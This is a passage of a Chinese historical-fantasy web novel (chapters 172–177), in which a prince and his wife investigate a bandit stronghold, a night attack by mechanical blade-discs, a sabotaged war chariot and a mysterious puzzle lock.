此话一出,众人的脸色都很难看。
墨云寒看了眼老者,忽地问向周围百姓。
“城门上的守卫可是寨子里的人,你们可有谁认识他们的亲眷?”
所有人都下意识摇头,目光却又都本能地看向街长。
显然此间一切事务,都是这老者做主。
老者立刻解释。
“守城的卫兵是我们集资请来的打手,并无亲眷在寨子里。”
墨云寒冲他拱了拱手。
“既如此,就将尸体一并运去议事堂吧。等事情查明,再另行处理。”
他说完看向王昊。
“你带兵守住城门,其他人一起前往议事堂内休整。”
等一切安顿好,已近黄昏。
简单吃过饭后,墨云寒回了自己临时的房间,看着从张铁匠家搜来的机巧零件出神。
这个寨子平静的太过诡异。
不多时,夜七推门进来。
“王爷,后山无路,没见有踩踏的痕迹。而且那山很奇怪,光秃秃的,全是乱石,连点树木都没有。一眼就能望到顶,实在也没什么能藏人的地方。”
他话音刚落,窗台上就落了一只信鸽。
咕咕叫着,迈了进来。
第172章 夜袭
“是暗卫营的信鸽。”
夜七上前将密信解下递给了墨云寒。
信件展开,其上写着:
“玄灵山逃走的大隋余孽并没有前往清风寨,而是分散在京城外,正在逐个捉拿。署:夜二。”
“匪患窝点人去楼空,未查到线索。署:夜四。”
“兵部监造处有人偷运火药,也有线索。署:夜十三。”
墨云寒将信递给了夜七。
夜七阅过之后立刻放在火上焚烧。
“王爷,可要调集暗卫过来辅助?”
墨云寒摇摇头,忽地抬眸问道,“你对清风寨怎么看?”
夜七欲言又止。
墨云寒眸色一凛“说,恕你无罪。”
“王爷,那我可真说了。”
夜七低咳一声,畅所欲言。
“我觉得这个清风寨就是皇上找来害您的。好好的战车来了这里就出了问题,现如今死了人,如果这里真的没有逆贼,这个罪责可都要您来担。”
“还有那个秦明朗,说什么提前探查过,还弄了沙盘煞有介事的说了一通骗您攻城,造成这样的结果,他一甩屁股还要为死去的士兵上书皇上,刚刚我回来的时候,看见他在房间里写奏折呢,绝对没憋什么好屁!”
墨云寒修长的手指轻轻敲着桌面。
眸光再次落在那些机巧零件上。
他有种直觉,这些东西就是制造金钩弯刀的。
而那个张铁匠,也绝没有飞天遁地的本事,定然还在这清风寨中。
夜七见他不语,忽地往前倾了倾身,声音也压得很低。
“属下把姓秦的杀了,到时候大家统一口径,责任扣在他头上,皇上心虚,定不会再查。”
墨云寒冷哼了一声。
漂亮的眸子里闪过嗜血的暴戾。
“本王觉得一个秦明朗不够,为绝后患,所有知情的都该死在这里。再将清风寨夷为平地,此事才算彻底了结。”
夜七愣在当场。
“可城中百姓……王爷,会不会杀的太多了?”
他的声音越来越弱。
墨云寒却邪魅的勾了勾唇角。
“本王是大周人人惧怕的恶鬼煞神,杀几个人而已,有何不可?”
夜七瞬时知道自己说错了话,立刻跪在了地上。
“属下错了。”
墨云寒瞥了他一眼。
“若当真是消息有误,错的是皇上,执行的是本王,与他人无关。”
当晚子时三刻,
整个清风寨内一片死寂。
城门口上值夜的卫兵都有些困倦。
忽然前方传来凌厉的破空声。
最先反应过来的人,还没来得及喊,就觉脖子一凉,鲜血喷涌而出。
周围人逐渐回神,却根本没有任何反抗的机会。
数个怪异的宛若巨大黑蝙蝠的武器,横扫了整个城楼。
王昊奋力挡了一下,却被巨大的冲击力创飞。
他也是唯一一个看清楚了武器的模样的人。
弯刀依靠机关组合成圆盘模样,不知是被什么操控,速度极快,横扫千军。
他强撑着身体冲向城楼上鼓,想要敲响通知所有人。
可他刚拿起鼓槌,弯刀圆盘再次袭来,甩飞在空气中是周围士兵温热的鲜血。
王昊知道自己必死,索性不躲了,闭着眼抡起了鼓槌狠狠敲了上去。
金属相撞的声音异常刺耳,堪堪滑过他的头顶。
数枚短箭飞射而来,刺入了鼓槌之上,让他的敲击只发出了极为沉默的低鸣。
他心中绝望,却听到城楼下传来数道马蹄声。
两条铁索一般的东西,带着小铁爪飞向半空缠斗弯刀圆盘。
但凡被缠住,就会搅在旋转的圆盘之中,致使机关卡扣出现凝滞。
“砰!”
其中一个圆盘砸落在地,其他数道圆盘皆迅速撤离。
马蹄声也已到城楼之下。
王昊撑着身体往下看。
头马上坐着一个英姿飒爽的身影,一张极为绝色的脸在月色下扬起,如玉面将军一般,正是苏柳儿。
她观察着城楼周围,脚下一点马背,飞身跃起,落在了城楼之上。
看着横陈的尸体身上的铠甲,瞬间皱起眉头,急声问道,
“王爷可还安好?”
一听是自己人,王昊瘫坐在地上,肚子上的伤口还在不停流血。
“王爷他们在议事堂,你们带了多少人支援?”
苏柳儿竖起一根手指。
王昊大喜。
“一千?太好了,我现在就带你们去见王爷。”
“我说的是十人。”
苏柳儿纠正。
王昊一个踉跄又栽倒在地上,眼睛瞪得如铜铃。
“你说多少?十个?那你们来干什么?够那玩意一刀砍的吗?”
苏柳儿环抱双臂,居高临下的看着他。
“王妃思念王爷,我们是护送王妃前来与王爷会面的,不是来打架的。”
王昊差点被自己的胸口窜出的一口老血呛死。
城楼下,青穗和李斗合力将掉落在地的弯刀圆盘捡回了马车上,交给了江清婉。
洛九提溜着两根铁索钩子就窜上了她的马车。
“以弓弩射出飞钩缠绕,看来我这个办法还是有点用的。”
江清婉却没这么乐观。
“命中率太低,只适合偷袭,若是正面交锋,敌人不会给你这个机会。”
洛九有些沮丧,低头去看那圆盘。
圆盘很大,几乎占了半个车厢。
细数之下,竟有八柄刀。
他看的眉心皱的更紧。
“竟然能结合八柄刀了?”
李斗探着脑袋往里看。
看到刀尖上染着的鲜血,只觉头皮一阵阵的发麻,有什么模糊的记忆在脑海中疯狂翻滚,却又什么也想不起来。
王昊捂着肚子坐上了马车,看了眼手无缚鸡之力,还抱着一只红狐狸的莲儿后,双眼直翻。
在他眼里,女子多累赘。
什么本事都没有只会儿女私情的女子,更是累赘。
莲儿扯了扯李斗的手臂,声音很轻。
“要不要给他包扎一下?”
王昊毫不客气的拒绝。
“不用,战场杀敌,刀剑无眼,这可不是什么游玩的地方!”
莲儿没听出阴阳的话,李斗自然也听不到,齐齐听话的点了点头。
还忍不住感叹了一声。
“受这么重的伤还没晕,真厉害。”
王昊再次将白眼翻上了天。
江清婉在另一辆马车上掀开布帘望着外面黑漆漆的街道,所有门窗都未曾有灯亮起,似乎都在安睡。
空气中浓重的血腥味却已经袭击半条街。
她放下布帘,心里有些沉。
车队刚到议事堂,里面已是灯火通明。
显然城楼上的动静,传了过来,有位副将正调集兵马准备前往,看到有车队入内,齐刷刷全看了过去。
待青穗扶着江清婉走下马车时。
墨云寒正从房间里出来,四目相对,男人的脸色瞬间铁青。
“谁让你来这种地方的?”
侧边的厢房内,秦明朗也披着外衫出来了,看到灯火中宛若月中仙子般漂亮的江清婉,情难自禁的喊了声,
“婉婉。”
这一声,情意百转,却让院内气氛骤然凝滞。
第173章 与你未交心
墨云寒一张冷脸更黑了。
周围士兵瞬间忘了要干什么,齐刷刷全眨巴着眼看热闹。
直到王昊被李斗扶下车,满身的鲜血才将众人拉回神思。
“军医!”
墨云寒喊了一声,大步走向江清婉,伸手牵着她往自己的房间去。
洛九着急谈事情,举着铁钩紧跟着追了两步,被苏柳儿一把拽住。
“老先生,人家夫妻夜话,你跟着去做什么?”
声音并未压低,周围的人全听见了。
秦明朗眼巴巴的看着,心里很不是滋味。
房间内,墨云寒的脸色依旧未回暖。
“明日一早就回去,这里不安全。”
江清婉却挣脱他的手寻了个椅子坐下,漂亮的小脸皱着,
“知道不安全所以才来的,这么远的路程连夜奔袭,你倒是一句好听的话都没有。”
墨云寒心口一软。
可眼下外面的事太棘手,他也没时间温存。
“去床上躺会,我处理完事情就回。”
江清婉叫住他。
“你去给我弄一幅清风寨的地形图,越详细越好。”
墨云寒点了点头,这才转身出了房间,随即叫了莲儿进去伺候。
军医已经处理好王昊的伤口,手上的血都没来得及擦。
“王爷,王副将福星高照,没有伤及脏腑,但失血过多,还需好好静养。”
王昊赤裸着上身,腰间缠着纱布从临时搭建的营帐里冲了出来。
“我不用静养,这群混账杀了我那么多兄弟,这场仗,我必须参加。”
这时洛九急的打断。
“现在不是打不打的事,现在的关键是破这个机关阵。”
秦明朗狐疑地看向他。
“这位老先生是什么人?似乎对机关很是了解?”
洛九此刻全身心都在机关上,根本没多想,下意识就要介绍自己。
苏柳儿忽地打断他。
“老先生和我都是王妃请来的,他会些机关术,人称水爷,我叫相柳,少年侠客。”
夜七无声看天,杵在一旁不说话。
秦明朗总觉得有问题,可他从未见过洛九,自然认不得。
闻言也只能暂压疑惑。
墨云寒神色却极为淡定。
“夜七,你带几人去城门前守着,小心隐蔽,如有敌情,立刻燃放烟花。”
“是!”
夜七领命,点了几人匆匆走了。
等他走了,墨云寒才带着众人看向院子里被李斗等人抬进来的金钩弯刀组成的圆盘。
王昊看着这东西就上火。
上面的血更是刺激的他眼眶都红了。
“这玩意转的很快,也不知道被什么东西掌控,竟能躲避和转弯追踪袭击。若是大批量应用在战场上,真的是要所向披靡,威胁太大。”
众人一听脸色都不太好看。
此次调兵剿匪,虽没有带足够多的士兵,但有最新机关装备的配置,他们原本信心十足。
可是现在,机关战车没撞开城门就折损了,还害死了十几个士兵。
现如今半夜守城门的小队,就被人用如此高超的机关圆盘全歼。
这对士气,是绝对的打击。
其中一名副将看向洛九。
“水爷,您是机关高手,可有法子破这怪东西?”
洛九瞪了他一眼。
自从洛家人全死了以后,他鲜少出门,也鲜少理会旁人。
闻言并未回答,只是冲着墨云寒拱了拱手。
“王妃带我前来,就是助王爷破局的,但具体法子,还要看王妃。”
众将士面面相觑。
墨云寒娶了秦明朗不要的下堂妇为王妃这事,早就不新鲜。
刚刚他们也亲眼看到,那位九王妃弱柳扶风的身姿。
难不成还是位深藏不露的高手?
不少人齐刷刷地看向秦明朗,显然是想他这里得到印证。
秦明朗状似未曾发现,皱着眉一本正经道,
“我与婉婉相识多年,她只是一个懂得些经商之道的商贾之女,我从未听说过她懂得机关术。水爷,事关众将士暗卫,若您真的有真本事就拿出来,切不可为了彰显王妃身份胡言乱语。”
一听这话,众将士的心又沉了下去。
墨云寒冷冷睨了秦明朗一眼。
“你不曾听说,是因为本王的王妃与你并未交心。”
秦明朗不甘心,敷衍的拱了拱手。
“依王爷所言,婉婉定然是能破此局了?”
“唰!”
一道劲风拂过,秦明朗垂在耳边的头发被生生削去。
刮过的杀气,仿佛扇了他一巴掌般凌厉。
“再敢唤王妃乳名,下一掌,本王不知会打在何处!”
秦明朗故作被欺压的委屈模样,红着眼眶躬身行了一礼。
“下官一时情切,请王爷以大局为重,莫要延误军情。”
两名副将皆为秦明朗帮腔。
“是啊王爷,现在解决眼前的麻烦才最重要。”
“不如请王妃出来商议一下应对之策。”
王昊气的瞪眼。
“怎么,血染沙场本是男儿本色,你们这是怕死到要指望一个女人了?丢不丢人!要我说,严审城中百姓,他们绝对隐瞒了什么,否则今晚敌人不会那么巧夜袭城门。”
此话引得众人点头。
墨云寒也跟着称赞,“本王也正有此怀疑。那就请秦将军全力审查此事,务必在最短的时间内套出消息,莫要延误了军情。”
秦明朗怔住。
墨云寒却不给他反驳的机会,眸色淡淡的看着他。
“毕竟秦将军身体欠佳,也不能上阵守城。皇兄命你前来,许你大理寺司正一职,想必秦将军定会殚精竭虑,不会让众将士失望。”
这高帽子一戴,秦明朗哪里还能拒绝。
他心里打着算盘,正要叫一队人跟着自己,顺便再暗中制造些舆论,让墨云寒成为众矢之的。
墨云寒却再次开口。
“相柳侠士,有劳你保护秦将军,本王便不另派他人了,也免得士兵上门,引起百姓恐慌,更难套出真话。”
苏柳儿眼中憋着笑,瞥了秦明朗一样,拱手应下。
“你是王妃的男人,便也是我的主家,我定会保他不死。”
说罢做了个请的动作。
“秦将军,请吧,趁着月黑风高,大家都睡得迷迷糊糊,说不定能问出更多消息。”
秦明朗气的脸都绿了,心里已经在骂娘。
大半夜去敲门审人套消息,谁能想出这馊主意。
他正想找个理由推辞一下等天亮。
墨云寒却已看向众将士,“诸位随本王去议事厅商量一下应对之策。青穗,去请王妃。”
众将士更想知道如何破这怪机关,闻言全都跟着墨云寒往议事厅走,自不会有人再搭理秦明朗。
第174章 千孔锁
议事厅内空间有限,
大部分士兵都在院子里候着,
副官带着几个千户入内议事。
围着桌子看着被抬上去的暗器圆盘,看着洛九用工具小心分解,脸色都异常凝重。
这时外面传来骚动。
江清婉披着白色披风走了过来,灯光昏暗,月色撩人,身姿袅袅如仙。
还未到门口,墨云寒就走了出来,神色淡然的朝她伸出手。
“如今军心浮躁,你若有破局之法,就跟大家伙好好说说。”
城楼惨状,江清婉虽未亲眼所见,可听苏柳儿说了,此刻自然知道墨云寒在担心什么。
她将自己的小手搭在男人的掌心,绝美的小脸,神情冷冽平静,自有一番威仪之态。
“此圆盘也并非坚不可摧。”
见她如此说,守在院子里的卫兵竟都下意识松了口气。
江清婉看了眼墨云寒,二人相携入内。
洛九已经等急,立刻抬手招呼,“王妃,我已经拆解下来三把弯刀,你快过来看看这个衔接处,似乎跟我们之前看到的有些不同。”
江清婉当下松开墨云寒的手快步上前。
此刻被拆解开的弯刀规整地放在桌面上,衔接处的机关扣的确和在洛九家看到的不一样。
洛九又拆了一个,越发笃定。
“看来这些人的身份还有待考察,这应该不是真正的金钩弯刀。”
王昊听得一脸懵。
“什么意思啊?难道这群逆贼不是大隋余孽?”
墨云寒也不由皱眉。
“不是吗?”
若不是,便有可能真的是大周内部的毒瘤。
这会更加麻烦。
江清婉将机关扣放在桌上,心情也有些沉重。
“你把所有弯刀全部取下,看看里面是不是有一个千孔锁。”
洛九的动作猛地顿住。
“千孔锁?”
他脸色大变,再不说一句话,哼哧哼哧将所有弯刀一并拆开。
果然看到,所有连接的机关扣的操控盘,真的是千孔锁。
一个能称得上是鬼斧神工的机关锁。
可以随着机关扣运行的力道,遭遇的阻击,甚至是风向等等细微的变化,自行反向控制机关扣。
也就是说,若是被这东西盯上,它能随着你呼吸或者奔跑产生的气流,紧追不舍,直到将你杀死。
而且这种控制,无需太近的距离。
真的有种千里取人项上人头的恐惧感。
洛九拿起千孔锁,声音都在抖。
“神机班鲁,这是神机班鲁才能做出来的神机。难道,那些逆贼的背后,是神机班鲁在操控?”
“不可能。”
江清婉毫不犹豫的否决。
墨云寒立刻转头看向她,眼中审视渐浓,却并没有开口询问。
江清婉知道他在想什么。
既然查过天下第一神算云天机,就一定知道,她与神机班鲁同出一门。
眼下,她比他们所有人都渴望找出幕后真凶。
绝不能让诸葛门成为众矢之的。
她拿过千孔锁细细查看。
随着她手指的活动,千孔锁内发出咔嚓咔嚓机关转动的声音。
洛九惊得目瞪口呆。
“王妃……你,你竟会操作千孔锁?”
他忽又想起之前江清婉给的战车图,还有她第二次拿来的机关武器的图稿,心中大凛。
“难道你就是班鲁?”
众将士齐刷刷看过去,皆是惊掉了下巴。
江清婉无语的瞥了他一眼。
“你既然知晓神机班鲁,难道他是男是女都不知道?”
洛九愣住,抬手猛地拍了下自己的头。
“是我糊涂,是我糊涂。”
江清婉手上试了不下百次,却无一次卡扣停滞。
千孔锁不是一千个孔。
而是内部有一千道机关,每错一步,就会全盘皆输。
只有制造的人,才能解开。
二师兄就曾跟她显摆过,若她能破了这千孔锁,以后偷酒烤鸡这种活,全他干。
为此,她拿着千孔锁闷在房间里折腾了七天。
最后一怒之下,拿着那东西塞进了他炼铁的锅炉里。
两个人在机关房里大打出手,最后以大师兄一人给了一板子告一段落。
大师兄得知二师兄所为,命他将千孔锁的制作方法手把手教给她。
“咔嚓!”
随着记忆蔓延,江清婉手里的千孔锁骤然打开。
如一朵徐徐盛开的莲花一般,甚是好看。
“你……你竟然打开了?”
洛九揉着唯一的一只眼睛,整个人都亢奋起来。
“这世上能打开千孔锁的人,必定就是神机班鲁。”
他说着噗通一声跪在了地上。
“我此生最大的心愿就是拜神机班鲁为师,恳求王妃收下我,了却我此生残愿。”
一群人面面相觑。
王昊忍不住道,“既然王妃是制造这个千孔锁的人,那这锁王妃给了谁,谁就是这群逆贼的头目。”
他这个思路毫无问题。
其他人皆是附和点了点头。
唯有墨云寒一言不发,抿着冷峭的唇角,黑沉的眸子,晦暗不明的落在江清婉身上。
江清婉并未注意其他人,而是凑近去看千孔锁开莲之后的底座上。
其上刻着一个“鲁”字。
她不由深吸一口气。
铁板钉钉的事实,这个千孔锁就是二师兄所造。
这一刻,她的心第一次有些慌。
一旦被认定这些逆贼跟二师兄有关,诸葛门就会成为朝堂的敌人。
她抬手,迅速将千孔锁复位。
随着莲花一般般锁死,也将那个线索牢牢遮住。
做完这一切,她抬头想缓和一下情绪,却不期然撞上墨云寒冷厉的眸子,仿佛洞穿了一切。
她心里咯噔一下,再回神,那双眸子却又恢复了之前的温和平静。
“你真的是神机班鲁?”
江清婉下意识摇头,随即迅速冷静下来。
“千孔锁的确难解,却也不是不能解,只要计算好每一步,但凡有点天赋的人,基本都能做到。”
洛九闻言呆愣当场。
整个人都有些丧气。
“我的天赋的确比不上王妃,我连给王爷的战车图都需要靠你才能完成。”
此话一出,现场鸦雀无声。
众将士的脸色都异常的难看。
王昊的脸色更是铁青。
他带去攻城士兵,都是在巡防营里跟着他的。
战死可以,可那么憋屈的战死,最难以接受。
众人议论,他却坚信,是有人要用此事陷害墨云寒。
可现在……
他难压怒火,冲过去一把攥着洛九的衣襟将人提了起来。
“那破战车是你设计的?你知不知道害死了我多少兄弟。”
第175章 心思缜密
刚刚被江清婉的话打击,如今竟然还被人说自己精心设计的战车是破战车。
洛九瞬间就恼了。
一巴掌呼在了王昊的脑袋上。
“你可以杀了我,但你不能侮辱我的手艺!”
王昊刚折了那么多弟兄,正上火,被抽了一巴掌当下更怒了,抽出腰间匕首就要结果了对方。
“那战车的图纸,是我画的。”
江清婉淡淡开口,却比墨云寒先一步制止了失控的局面。
所有人都看向了她。
江清婉的神情却比刚刚更加的放松,将千孔锁丢在桌上,眸色凌厉地注视着王昊。
“如果是按照我的图纸造出来的战车,绝不会出任何问题!”
墨云寒的心里掀起了惊涛骇浪。
原来惊艳了他的战车图纸,竟然真的是出自江清婉的手。
“来人,去把战车残骸全部搬进来,一个零件也不许落下。”
很快士兵就将东西抬进了厅内,放在了地上。
洛九看到残破不堪的战车整个人都呆了。
“这……这怎么可能?”
他迅速上前检查。
虽然是江清婉给的图纸,可战车是他亲手打造出来的啊。
谁知他还没摸到零件,就被王昊一把提了起来。
“你不要试图销毁证据。”
有墨云寒在,他们不敢去逼江清婉,只能虎视眈眈地盯着洛九。
江清婉没理会剑拔弩张的气氛,蹲在残骸面前检查各处。
防御和进攻为一体的战车,要比普通的机关战车多出很多机关扣,以便进行精密的机关变化。
而越是精密的机关术,破坏的时候,却又最为容易。
就如同被称之为神机的千孔锁,只要你知道如何制造,就知道如何推演解开。
但若是一无所知,单纯靠所学机关术去试图解锁,却又比登天还难。
所以,若是战车被人动了手脚,动手脚的位置,一定会是机关扣。
她蹲在地上用簪子扒拉着。
脑海中清晰的浮现出那张战车图纸,将所有散落的机关扣一点点全部拼凑到图画上。
这是一件极费脑子的事情。
等她拼凑结束,额头都已经冒了细细密密的汗珠。
她抬手,从一堆看似极为相似的机关扣中,分拣出十几个不同形状不同大小的,摆放在地上。
然后示意洛九。
“你过来看看。”
洛九终于挣开王昊的禁锢,立刻凑过来查看。
片刻后怒极。
“王爷,这战车不是我造的那一辆。”
墨云寒并没有亲自去巡防营点兵。
前去点兵的是秦明朗。
“王昊,这战车其中可有本王最先送去的那一辆?”
王昊摇头。
“末将不知道啊,当时秦明朗带着圣旨来点兵,点了末将之后,又让末将去点其他人,等队伍集结完毕,战车铠甲等等军需已经调集完。”
身后几人不解议论。
“难道说,这事是秦将军所为?”
“不可能吧,战车是从兵部送来的,一直在巡防营放着,秦将军带着圣旨去了没有多久,岂能做到?”
院外有人小声嘀咕。
“不会是为了推卸责任吧?”
洛九气的吹胡子瞪眼。
刚要理论,就被江清婉抬手拦下。
“若这两辆毁掉的战车不是你造的那辆,回去将这些机关扣做一个对比,顷刻便知真相。”
她说完让青穗将东西分装了三份,交给了王昊在内的三名副将。
“有你们各自保管一部分,回京后也有你们见证真相。你们放心,我既然是皇上亲赐的九王妃,断然没有逃的可能。”
众人对视,皆无言语,将东西收好,冲着江清婉拱了拱手。
气氛平和下来,江清婉又道,“现如今,最要紧的事情便是破了这机关圆盘,找出那群贼人。可我虽会解千孔锁,却没办法在战场上,弯刀圆盘袭来的瞬间瓦解掉,所以,此法行不通。”
她上前拿起被洛九丢在一旁的铁索。
“此物倒是能阻挡一二,我们找个现成的铁匠铺子多做几条,分给手上功夫不错的士兵,以八卦阵训练,若再遇圆盘来袭,至少有反击的机会。”
墨云寒看着她稳定军心,看着她轻松解决战车一事,又顺势巧妙掩盖过大家对神机班鲁的好奇猜测,所有人的神思皆被拉到眼下破局招数上。
如此心思灵动,缜密细致,让他眼中不由闪过欣赏。
“那就去城东张铁匠家吧,他人不在,今夜应不会回来。青穗,你陪着洛……水爷前往。”
说着又指向三名副将,“王昊留下休整,你二人带几个好手前去帮忙,就地取材,一切听水爷吩咐。”
事关破阵,两名副将自不会多言,拱手应下,随着青穗和洛九一起往外走。
墨云寒又想到什么,加了一句。
“若那铁匠回来了,将人直接打晕控制住,无需废话。”
众人很快离开。
江清婉再次将目光看向千孔锁,眸色幽暗,若有所思。
墨云寒忽然递了个布袋过来,“帮我看看这是什么?”
江清婉回神,下意识接过打开,看着里面零散的机关扣诧异抬头。
“你也知道千孔锁?”
墨云寒手里的零件,就是千孔锁最基础的外层机关扣结。
“本王不知。”
墨云寒淡淡开口,“这是在张铁匠家发现的,出事以后,他很凑巧的并不在家。”
江清婉了然。
“你怀疑他?”
“我的怀疑,你已经印证了。”
墨云寒拿起一块机关扣结。
“若张铁匠参与制造了这机关圆盘,那这个清风寨,就绝不是表面看上去的这么简单。”
这一点,江清婉认同。
她现在更担心的是二师兄是否真的跟这群人混在了一起。
“我需要看一下清风寨的地形图,刚刚入城的时候,城门血腥,街上却诡异安静,而且空气中很凉。”
墨云寒点点头。
“你先回房休息,我弄来地图给你送去。”
江清婉嗯了一声,瞟向了他的双腿。
“今夜,你的腿没疼吗?”
经她提醒,墨云寒才忽然反应过来,入清风寨之前,他的腿已经疼了一夜,可今晚子时已过,他却什么感觉都没有。
“昨夜疼了一阵,今夜未曾觉察,我无碍,你不必挂心,去休息吧,养好了精神,明日才能做其他事。我有预感,清风寨平静不了两日。”
江清婉又看向他的双腿。
不知是不是在玄灵山中丹药和她的血契起了作用,墨云寒双腿上的黑气,竟少了很多,淡得几乎看不到。
她正出神。
墨云寒忽地附身靠近。
“怎么?还要本王陪你睡?”
第176章 风水局
江清婉直接翻了个白眼给他,满脸嫌弃的走了。
站在原处的墨云寒低低闷笑出声,笑意却又很快敛下,眸色也变得很冷。
他拿起桌上的千孔锁。
刚刚旁人没有看到,他却看得很清楚。
这千孔锁的最里面,刻了一个“鲁”字。
无论是云天机,还是神机班鲁,两个人都跟江清婉牵扯上了联系,这绝对不是巧合。
他将千孔锁和从张铁匠家搜来的机关扣结都收了起来。
这一夜,谁都没有合眼。
好在城楼处并没有再出现暗袭之事。
天刚蒙蒙亮的时候。
墨云寒拿着一幅地图走进房间。
莲儿正在煮茶,茶香清雅,却异常提神。
看他进来立刻俯身行礼。
“见过王爷。”
墨云寒摆摆手,“这茶不错,给本王也沏一盏。”
“是!”
莲儿应下,沏好茶便退了出去。
江清婉合衣靠在床边眯了一会,听见动静起身走过来坐在了墨云寒的旁边,懒懒的打了个哈欠。
“地图找到了吗?”
墨云寒将东西递过去。
“后面山脉费了些力气,画的还不是太全。”
江清婉看着上面新鲜的墨汁。
“你跑了一圈自己画的?”
墨云寒抿了口茶。
“若不自己跑一圈,我倒不知,秦明朗说谎的胆子如此之大。”
“你提他做什么?”
江清婉展开细看,随意回了句。
墨云寒煞有介事的瞧了她几眼。
“攻城前,他弄了个沙盘,说是几年前曾来过这附近,对此有所了解,然而事实却是大相径庭,整个寨子内并无任何屯兵训练的痕迹。”
江清婉头都没抬,只勾唇笑了一下。
“你竟会信他!”
墨云寒哑然。
江清婉又道,“若是说,此番前来清风寨剿匪,是秦明朗撺掇皇上给你下套,我都觉得没什么奇怪。”
她抬眸。
“你是一军主帅,他做的那些腌臜事,你在京城知晓的也不少,岂可轻信?”
男人黑沉的双眸与她对视。
“那我能信你吗?”
江清婉的心跳再次乱了。
神情不自然的避开。
这混蛋,挖了坑在这里等着试探她啊。
她真的是多余担心。
“我也不是什么好人,你千万别信。”
她没好气的怼了句,敛下心神专注地图,却是越看,眉心皱得越紧。
墨云寒见她神色不对,忙问道,“有什么问题吗?”
江清婉没有回答他,而是伸手点在了山脉附近。
“这个山你没有画完?”
墨云寒点点头。
“没有,这个山堵住了清风寨的整个北面,没有绕行的地方。山石松散,也没有登山的路,不过山并不算太高,我靠着轻功能登顶,不过山的背后面斜坡很陡,并无任何藏人的可能。”
江清婉盯着地图喃喃自语。
“堵住了整个北面?这不对啊。”
墨云寒追问。
“哪里不对?”
江清婉问,“你知道墓碑为什么要立在坟墓之前吗?”
墨云寒被问的一愣,下意识回答,“许是因为祭拜方便,若在后面,被坟茔挡住,看不到石碑上的字。”
江清婉道,“那是你们的想法,在风水师的眼里,墓碑立于坟茔前,是为了震煞镇魂。无论亡者因何而亡,对着世间总有执念,执念若肆意汇聚,便会成煞。更别说是枉死之人。立碑、亲人祭拜,都是安魂之法。”
她说着再次点在山脉上。
随后将地图转了个方向。
“如此,你再看。”
当思维突破固定想法,再去整体审视,墨云寒也跟着皱了下眉。
“整个清风寨背靠大山,就好像一座坟茔,背靠石碑。”
可活人怎么会按照坟茔的风水方位建造寨子?
江清婉点点头,又将手指挪到了寨子里唯一的一条河上。
“困局之中无活水。这条河,可是流动的?”
墨云寒稍作回忆后点了点头。
“对,那应该是村子里另外一条出口。我试过,水不浅,其下有暗流。”
江清婉眯了眯眼睛。
“若是活水,便不是死局,那就只有一个可能,葫芦风水局。”
墨云寒刚要问仔细,这时外面忽然传来一阵骚动。
紧接着响起莲儿的声音。
“小红,你从哪里弄来这么多活鱼?”
不少士兵的声音乱糟糟的响起。
“哎呦,看来今天能改善伙食了。”
“这红狐狸挺厉害啊,长得也俊俏。”
“它还知道用网兜子捞着,真是聪明的成了精了。”
被夸的不知天高地厚小红,翘着尾巴迈着六亲不认的步子走进了寝卧。
仰着头极为不屑的冲着墨云寒哼了一声,转向江清婉的时候又瞬间换了一张狐狸脸,咧着嘴笑的蹭在她脚边撒欢。
墨云寒一阵无语。
江清婉敷衍的揉了两把。
“看来还真的是活水。墨云寒,你站在山顶,可看到山后面是不是另有村舍?”
墨云寒将目光从红狐狸上收回。
“山后面不能住人,不过,在几里之外,倒是有个小村子。”
他骤然意识到什么。
“你是说,山中有暗道,眼前的清风寨只是个空壳子,而真正的清风寨其实是那个小村子?”
江清婉倒是没有直接给出肯定答复。
“若当真如此,昨日夜袭城门,是想撵我们走。今日找个机会,避开百姓,我带青穗去一趟那个小村子。”
“不行!”
墨云寒毫不犹豫的拒绝。
“既然两个村子有可能相通,那这里,定然有通往那村子的密道,找出来便是。我不会给他第二次夜袭的机会。”
很快,外面就传来了烤鱼的香味。
莲儿端着一碗鱼汤进来。
“小姐,您先暖暖肚子,等会吃烤鱼,李斗专门给你烤了。”
红狐狸跳着脚提醒。
莲儿笑道,“有你的,李斗也给你烤了。”
红狐狸却依旧不算,还是跳着脚。
这下莲儿就蒙了。
“小姐,它想表达什么?”
江清婉抬手压住它的脑袋。
“小红是想告诉你,这鱼,不给墨云寒吃。”
刚刚还乱蹦跶的红狐狸立刻安静下来,尾巴疯狂摇动。
显然江清婉所言既它所想。
墨云寒都给气笑了,他站起身,朝小红勾了勾手指。
“你是公狐狸是吧?我不用内力,让你一只手,十招之内,你如果能抓到我的脸,就算你赢,你可以继续呆在王妃身边,本王不阻拦。但若是抓不到……”
被江清婉摁着的小红,四蹄一蹬,朝着墨云寒那张冷隽俊雅的脸狠狠的抓了过去。
速度之快,江清婉拦都没来得及。
可它快,墨云寒更快。
仿佛故意气它一般,躲避的同时,大手一捞将江清婉给捞进了怀里。
蓬头垢面,眼底泛青的秦明朗正好在此刻推开院门走了进来,被人骂了一晚上,又说了一晚上的话,此刻嗓子快烧冒烟了,精神更是濒临崩溃,一抬眼又看到这一幕,气的差点吐血。
第177章 内虚之症
小红扑了几次都没碰到墨云寒的衣角。
气的跳上了桌子准备来个奋力一击。
这时候秦明朗已经压不住火冲了进来。
“九王爷,下官为查一点线索,嘴皮子都磨破了,您却在这里沉浸儿女私情,是不是太过分了……啊!”
墨云寒以一个诡异的速度闪躲过来。
小红的爪子正好挠在了秦明朗的脸上。
结结实实,从左侧额头,完完整整斜跨整个脸颊,停在了下巴位置。
爪印清晰,血痕明显。
小红见抓错了人,停在秦明朗面前蹲坐着有点不知所措。
秦明朗只觉脸火辣辣的疼,再加上胸中怒火,抬脚狠狠踹了过去。
“哪里来的小畜生!”
江清婉急声喊道,“住手!”
小红却还在眼巴巴的看着她,怕她生气,根本没有躲。
下一刻,墨云寒已经出手。
掌风劈开秦明朗的攻势,将还在发愣的小红抓起来塞到了江清婉的怀里。
秦明朗被打的一个踉跄,他本就伤势未愈,这会儿被气的急火攻心,捂着胸口怒极。
“九王殿下,你是要杀了我吗?”
门口已经围了不少人,皆伸长了脖子往里看。
“不会是为了争夺王妃打起来了吧?”
“有可能,你没看见王爷昨晚很不高兴吗?秦将军也是,都和离了,还喊王妃的乳名,不合礼数啊。”
墨云寒冷冷的扫视过去。
所有人只觉后背一阵发凉,赶紧散了。
墨云寒这才将目光落在秦明朗身上,缓缓逼近,周身凌厉的杀气骤然暴增。
“我若想杀你,你又能如何?”
秦明朗心下一紧。
因为那丹药反噬,他现在根本提不起多少力。
可江清婉就在旁边,他岂可认怂,当下梗起脖子。
“虽然你是王爷,我是臣子,可我出来是为皇上办差,我效忠之人也是皇上,你竟要杀我?莫非是要谋逆不成!”
